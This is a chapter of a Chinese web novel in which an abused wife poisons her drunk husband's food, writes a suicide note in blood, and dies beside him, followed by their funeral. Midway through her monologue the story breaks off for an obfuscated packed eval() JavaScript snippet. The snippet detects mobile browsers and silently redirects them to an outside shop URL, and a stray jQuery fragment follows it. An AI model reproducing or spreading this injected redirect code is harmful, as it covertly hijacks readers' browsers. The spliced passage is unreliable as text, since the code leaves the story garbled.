江家东厢房。
特意去纪家蹲着看过三辆马车,进家门前又看到江老二喜滋滋的给马刷毛。江老大气的不行,刚进屋,手里提着的酒壶啪的一声拍到炕上,阴鸷的眼睛看向蔡春花,“去!给我做饭!瞎了眼睛的老天爷。我是江家长子!我生出了江家长孙!凭什么他们仨越过越好!凭什么?!”
江老大在外头喝了一壶小烧,酒精上头,醉了神失了智,对蔡春华的恐惧在酒精的作用下,消失了。他三角眼瞪着蔡春花,像过去的很多年那样,极尽挖苦贬低之事,“都怪你,生下的那个不成器的!爬寡妇床!还他娘的蠢到丢了命!早知道他这么缺心眼,早该在他刚出生的时候就按尿桶里溺死再生一个,白瞎了老子这么多年的培养。赖田种不出好粮食,亏本了啊,亏本!~”
蔡春花过分红润的脸本来还带了一分笑意和释怀,在听到江老大这些话彻底僵住。
今天是最后一天了,蔡春花的状态越来越好,看起来如常人一样,但是她心里知道自己大概率活不过今夜,最迟明天上午就会离开这个世界。老夫老妻这么多年。本来她想平静的读过这最后的时光,江老大回来之前她已经做好了晚饭,甚至在等他回来吃。此时那些精心烹煮的菜就在锅里温着。
但是此时此刻,当她看到江老大满身酒气对她颐指气使,熟练的又开始对她进行挖苦和贬低,好像她比那脚底的泥粪坑里的屎还要低贱。尤其,尤其他还提到了江义。那是她怀胎十月,千辛万苦生下养大的儿子。是,儿子私德有亏,但是全天下的人都可以骂他辱他偏江海龙这个爹不行!他,没有资格!!!
“你看什么看?!老子是你男人!你就该伺候老子。真给你二斤颜料你就开染坊。老子告诉你,老子不怕你!老子有爹娘有兄弟,你蔡家有啥?有个屁!”江老大说到这儿醉意上来,丑态百出的拍着炕席又哭又叫,“老天爷啊,你瞎了眼啊。我江老大是个仁义礼智信样样齐的人,凭什么那江老三越过越好啊。老天爷啊,你要是有灵,快一个旱天雷咔嚓一下把那些不孝不悌的人给劈死吧~”
骂够了人,江老大又有精神了,顺手抄起手里的酒盅对着蔡春花砸过去。“还不快去给我做饭!没眼神!没看到你老爷们要喝酒吗?!”
蔡春花僵硬的脸动了,牵起一丝诡谲的笑。“好啊~,相公,我这就去。”
江老大看到蔡春花动了,心里很是得意。看吧,女人就是贱皮子,你凶她就软。借着酒劲儿撒酒疯这招真好使啊,下次还用。
此时的江老大并不知道,就因为他这一通胡作,他没有下一次了。
蔡春花没有直接进厨房,反而去到后厨的小间。这里放了很多箱柜,是他们东厢房的储藏间。蔡春花蹲下身,在柜子的最深处摸索了一阵,找到了她许久之前就买了并藏在这里的一包药。
看着这包药。蔡春花笑了一下,“终究,还是用了。”
蔡春花抬起头刚好看到屋里王老太刚端过来的半篮子鸡蛋,想到婆婆下午的时候看她在院子里溜达满脸欢喜的端过来让她煮了给自己补身子。又想到她在王寡妇家把死狗一样的江老大拖出来的时候,摔一地的盘子碗还有碎成渣的炒鸡蛋。
蔡春花怪笑了一下,“相公,看来,你还真适合吃炒鸡蛋。”
一把葱花,一点盐,加上五个鸡蛋。起锅烧油,加了料的蛋花如常炸起。
做好了,蔡春花才想到,不知道热油高温会不会影响药效。保险起见,她又充了一碗红糖水,同样加了份量不轻的药。
等炒鸡蛋端上桌,江老大已经自顾自的又喝了好几盅酒。
“懒驴上磨屎尿多,干点儿啥都磨磨蹭蹭的。咱家那骡子都比你灵巧。”江老大一边骂一边偷瞄蔡春花的脸色,发现她没生气,高兴的笑了。
“相公,是我的错。你尝尝,好不好吃。”
江老大在蔡春花的注视下,夹起一筷子鸡蛋放嘴里。“一般般吧,没有老三媳妇昨天做的烧鸡公好吃。下次我吃那个。”这时候他砸吧了两下,“你是不是没看住火,怎么有股苦味。”江老大看到旁边还有一碗红糖水。
蔡春花不知道想到什么,突然说,“这是我给我自己煮的。我身体不舒服。娘说女人身体不舒服喝红糖水好。”并作势上前要和江老大争,她眸子里跳动着一种奇异的光。
这江老大能让她如意,凶狠的夺过来,一仰脖子,两口就喝了个干净,喝完还手一抹嘴巴,“你都多大岁数了,半只脚进棺材的老棺材板子,还女人?这红糖给你喝了也白瞎,还不如我喝了提提气呢。”
“呵呵,哈哈哈哈哈,”蔡春花笑了,笑着笑着就哭了,“江海龙,你还真是自私的彻底。你活该,真活该啊。”
江老大不在意蔡春花的话,还在那嘚吧嘚吧的说,“人不为己天诛地灭。行了,你也别在这儿杵着了,还不快收拾东西,别到时候要走了,东西都没收拾完。”
蔡春华盯着江老大,“不用收拾了。反正啊,也用不到。”
江老大抬起头,感觉这话听着有股让人毛骨悚然的怪,“你,你什么意思。”
就在他说这话的时候,只感觉腹部传来一阵激烈的腹痛。“啊~,你,你,你···”到后边,江老大说不出来话了,倒不是他不想说,是嘴里涌出了黄褐色的泡沫还有血,糊了一嘴巴,是说话不能,呼救更不能。
江老大一只独眼惊恐的看着桌上的炒鸡蛋,又充满恐惧的看着蔡春花。他不就是耍酒疯而已吗?过去那么多年,他也没少这样干啊。为什么这次就不行了呢。这个毒妇,她竟然真的下药害他。亏他还以为她又重新听话了呢。
蔡春花上前,温柔的拿着刚才从灶台上顺手拿的泔水里投过的抹布,给江老大擦掉嘴边喷涌出的脏污。像拖拽死狗一般把江老大的往里挪了挪,摆好睡着了的姿势。
而后坐到桌前,一边絮絮叨叨,一边吃着剩余的炒鸡蛋。
“相公,你为什么就能好好的配合我呢?!我明明都想放过你了。娘啊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695460|205418||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你说的对,我太像我爷爷了。可能我身上的血实在是太肮脏了,你教了我那么多,最终也没能改变我骨子的虐杀的血。你瞧,我杀了与我同床共枕这么多年的男人,我竟然没有一丝一毫的害怕甚至还有些兴奋。哈哈哈哈,不过,娘,你放心,我是你教的孩子,我也继承了你的血脉。我是讲道理的,我会给他偿命的。算不算,不负你的教——导?婆婆,老三,我不是什么好人,但临走前算不算为这个家做了最后一件好事?”
察觉到腹中的疼痛,蔡春花像是没有丝毫感觉似的,慢慢挪到另一个房间,想磨墨又怕太耽误时间,用梳妆匣暗格里藏着的匕首往自己胳膊随意的划了一下。手沾上血,一笔一划的写绝笔信。信写完了,又从首饰盒里拿出一个吊坠放到绝笔信上,最终珍视的取出一个漆黑的小瓶子。
“儿子,娘让你等等,也不知道这回你有没有听话。别怕,娘带着你爹来陪你了。”说完,晃晃悠悠一步三倒的挪到江老大的尸体旁,慢慢躺下,心满意足的闭上了双眼。
纪绪和江海升知道消息的时候是第二天早晨。
老爷子不放心,心里也有点儿侥幸,想着或许蔡春花吃了那药也不一定死。这早晨起来,就催着王老太去看看,看看大儿媳的状态啥样。昨天他看到大儿媳还下地溜达了呢。本来还想叫他们两口子一起吃饭,结果刚出屋就闻到东厢房传来的炒鸡蛋味。老爷子就收回了迈出去的脚。现在也不知道啥样儿了。
老爷子的等待不过持续了片刻,东厢房就传来王老太凄厉的哭嚎。
后山墓地。
刘红梅一双眼睛哭成了桃子,她搂住纪绪的肩膀呜呜的哭出声,“大嫂她怎么这么傻啊。其实她除了有时候偷懒有时候说话气人讨人嫌,她其实也挺好的。我生三个孩子她都送了亲手做的小衣服。生春芬的时候她怕我第一次生娃照顾不好孩子,还和娘一起倒班帮我守夜。她其实,其实没那么坏的啊。”
纪绪没出声,但是眼泪也稀里哗啦的流。她捏着手心里的吊坠,她没想到大嫂临终居然特意给她留了东西。这是她的遗物,也是她两辈子里从蔡春花手里接到的第二份礼物。纪绪听着刘红梅的絮叨,也呢喃了一句,“是,她其实,并不坏。”
临行前的一天,两个老人同一时间失去了大儿子和大儿媳,这对两位老人的打击非常巨大。
下葬前,江老爷子甚至都一度气到不想给蔡春花置办棺椁。还是王老太坚持,把她给自己准备的棺椁给了蔡春花。得说幸好村里老人有提前备“材”(财)的习惯,不然现在买棺材都没地方去买,两个人就得落个草席裹尸的下场了。
村子里只剩下跟着准备跟着他们一起去建安的人。人是少了不少,但是葬礼的该有的流程都有。
草草结束了葬礼,临行前江家请了大家吃了一餐饭,算是白事的席,也算临行前的宴。
吃饱喝足,七河村最后剩下的人背起了行囊踏上离乡的路。
只余后山,新添的两座坟茔。